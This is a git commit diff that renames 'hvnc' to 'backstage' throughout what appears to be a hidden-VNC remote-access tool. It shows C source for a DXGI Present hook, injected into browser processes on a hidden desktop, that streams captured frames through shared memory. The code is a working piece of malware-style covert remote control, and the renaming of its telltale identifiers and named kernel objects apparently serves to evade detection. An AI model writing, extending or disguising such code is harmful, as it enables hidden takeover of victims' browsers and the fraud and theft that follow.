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rename all instances of "hvnc" to "backstage"

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This commit is contained in:
KingKDot
2026-07-13 10:22:19 -05:00
parent 447efa5192
commit 6d1a20206d
61 changed files with 1653 additions and 1653 deletions
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BackstageCapture/src/DXGICapture.c
+8 -8
View File
@@ -111,12 +111,12 @@ static UINT64 GetTimestampNs(void) {
static void BuildShmName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_SHM_PREFIX, (unsigned long)pid);
snprintf(out, outLen, "%s%lu", backstage_SHM_PREFIX, (unsigned long)pid);
}
static void BuildEventName(char* out, size_t outLen) {
DWORD pid = GetCurrentProcessId();
snprintf(out, outLen, "%s%lu", HVNC_EVENT_PREFIX, (unsigned long)pid);
snprintf(out, outLen, "%s%lu", backstage_EVENT_PREFIX, (unsigned long)pid);
}
//-----------------------------------------------------------------------------------------------//
@@ -124,7 +124,7 @@ static void BuildEventName(char* out, size_t outLen) {
//-----------------------------------------------------------------------------------------------//
static BOOL EnsureSharedMemory(UINT width, UINT height) {
UINT stride = width * 4;
SIZE_T needed = sizeof(HVNCFrameHeader) + (SIZE_T)stride * height;
SIZE_T needed = sizeof(backstageFrameHeader) + (SIZE_T)stride * height;
if (g_ShmView && g_ShmSize >= needed) {
return TRUE;
@@ -281,7 +281,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
UINT w = bbDesc.Width;
UINT h = bbDesc.Height;
if (w == 0 || h == 0 || w > HVNC_MAX_WIDTH || h > HVNC_MAX_HEIGHT) {
if (w == 0 || h == 0 || w > backstage_MAX_WIDTH || h > backstage_MAX_HEIGHT) {
backbuffer->Release();
return;
}
@@ -378,7 +378,7 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
UINT dstStride = w * 4;
UINT srcPitch = mapped.RowPitch;
BYTE* dst = (BYTE*)g_ShmView + sizeof(HVNCFrameHeader);
BYTE* dst = (BYTE*)g_ShmView + sizeof(backstageFrameHeader);
BYTE* src = (BYTE*)mapped.pData;
for (UINT y = 0; y < h; y++) {
@@ -389,9 +389,9 @@ static void CaptureFrameInner(IDXGISwapChain* pSwapChain) {
// Write header (AFTER pixel data + barrier so reader sees consistent data)
g_FrameSeq++;
HVNCFrameHeader* hdr = (HVNCFrameHeader*)g_ShmView;
hdr->magic = HVNC_FRAME_MAGIC;
hdr->version = HVNC_FRAME_VERSION;
backstageFrameHeader* hdr = (backstageFrameHeader*)g_ShmView;
hdr->magic = backstage_FRAME_MAGIC;
hdr->version = backstage_FRAME_VERSION;
hdr->width = w;
hdr->height = h;
hdr->stride = dstStride;
BackstageCapture/src/DXGICapture.h
+13 -13
View File
@@ -1,15 +1,15 @@
//===============================================================================================//
// BackstageCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
// BackstageCapture — DXGI SwapChain::Present hook for fast backstage frame capture.
//
// Injected into browser processes running on the hidden desktop. Hooks
// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
// to a named shared-memory section so the Go capture thread can read them
// directly instead of using the slow PrintWindow API.
//
// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
// [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
// Shared memory layout (backstageFrameHeader at offset 0, then pixel data):
// [backstageFrameHeader][BGRA pixel data, stride-aligned rows]
//
// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
// Signaling: named event "Local\backstage_frame_{pid}" is set after each new frame.
//===============================================================================================//
#ifndef _DXGI_CAPTURE_H
#define _DXGI_CAPTURE_H
@@ -33,7 +33,7 @@ void RemoveDXGICapture(void);
// Shared memory header — must match Go-side definition exactly.
#pragma pack(push, 1)
typedef struct {
UINT32 magic; // 'HVNC' = 0x434E5648
UINT32 magic; // 'backstage' = 0x434E5648
UINT32 version; // 1
UINT32 width;
UINT32 height;
@@ -43,19 +43,19 @@ typedef struct {
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
UINT32 pid; // process ID that produced this frame
UINT32 reserved; // alignment padding
} HVNCFrameHeader;
} backstageFrameHeader;
#pragma pack(pop)
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
#define HVNC_FRAME_VERSION 1
#define backstage_FRAME_MAGIC 0x434E5648 // 'backstage'
#define backstage_FRAME_VERSION 1
// Maximum frame dimensions we support (prevents runaway allocation)
#define HVNC_MAX_WIDTH 7680
#define HVNC_MAX_HEIGHT 4320
#define backstage_MAX_WIDTH 7680
#define backstage_MAX_HEIGHT 4320
// Shared memory name format — {pid} is the decimal process ID
// e.g. "Local\hvnc_frame_12345"
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
// e.g. "Local\backstage_frame_12345"
#define backstage_SHM_PREFIX "Local\\backstage_frame_"
#define backstage_EVENT_PREFIX "Local\\backstage_evt_"
#endif // _DXGI_CAPTURE_H
BackstageCapture/src/seh_compat.h
+3 -3
View File
@@ -1,6 +1,6 @@
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _HVNC_SEH_COMPAT_H
#define _HVNC_SEH_COMPAT_H
#ifndef _backstage_SEH_COMPAT_H
#define _backstage_SEH_COMPAT_H
#ifdef __MINGW32__
// MinGW doesn't support MSVC structured exception handling.
@@ -15,4 +15,4 @@
#endif
#endif // __MINGW32__
#endif // _HVNC_SEH_COMPAT_H
#endif // _backstage_SEH_COMPAT_H